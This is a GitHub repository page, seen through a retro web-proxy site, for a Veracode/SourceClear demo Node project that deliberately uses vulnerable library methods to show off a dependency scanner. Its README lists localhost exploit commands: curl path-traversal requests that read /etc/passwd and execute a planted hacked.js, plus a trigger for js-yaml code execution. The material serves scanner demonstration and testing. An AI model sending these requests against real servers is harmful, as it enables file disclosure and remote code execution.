GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — GitHub - veracode/example-javascript-vulnerable-methods: SourceClear’s example node project with vulnerable methods in third party libraries

BranchesTags
Open more actions menu

Latest commit

 

History

4 Commits
4 Commits

Folders and files

NameName
Last commit message
Last commit date
data
data
 
 
test
test
 
 
.gitignore
.gitignore
 
 
README.md
README.md
 
 
hacked.js
hacked.js
 
 
index.js
index.js
 
 
larvitbase-api.js
larvitbase-api.js
 
 
package-lock.json
package-lock.json
 
 
package.json
package.json
 
 
server.js
server.js
 
 

Repository files navigation

[:] Example node project with vulnerable methods

A node project to demonstrate srcclr agent's vulnerable methods feature for JavaScript

Vulnerability 1 (SID-13642) Exploit

git clone https://github.com/srcclr/example-javascript-vulnerable-methods.git
cd example-javascript-vulnerable-methods
npm install
node index.js

The vulnerable method is called twice during the server startup, however another one needs to be trigged by issuing a request to the endpoint by running the following command in another terminal to trigger the code execution vulnerability in js-yaml:load

curl --path-as-is 'http://127.0.0.1:8001/api/'

Vulnerability 2 (SID-20301) Exploit

Use the following to trigger the directory traversal vulnerability (SID-20301)in algo-httpserv:serve

curl --path-as-is 'http://127.0.0.1/8001/../../../../../../etc/passwd'

Vulnerability 3 (SID-21402) Exploit

git clone https://github.com/srcclr/example-javascript-vulnerable-methods.git
cd example-javascript-vulnerable-methods
npm install
node larvitbase-api.js

and then run the following command in another terminal

curl --path-as-is 'http://127.0.0.1:8001/../../../../hacked'

You can see the JavaScript filehacked.js is executed in the server side.

Scan with SRCCLR Agent

brew tap srcclr/srcclr
brew install srcclr
srcclr activate
srcclr scan --url https://github.com/srcclr/example-javascript-vulnerable-methods

About

SourceClear’s example node project with vulnerable methods in third party libraries

Resources

Readme
Activity
Custom properties

Stars

4 stars

Watchers

5 watching

Forks

45 forks
Report repository

Releases

Packages

Used by

Contributors

Languages

You are visitor 01402503 — GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.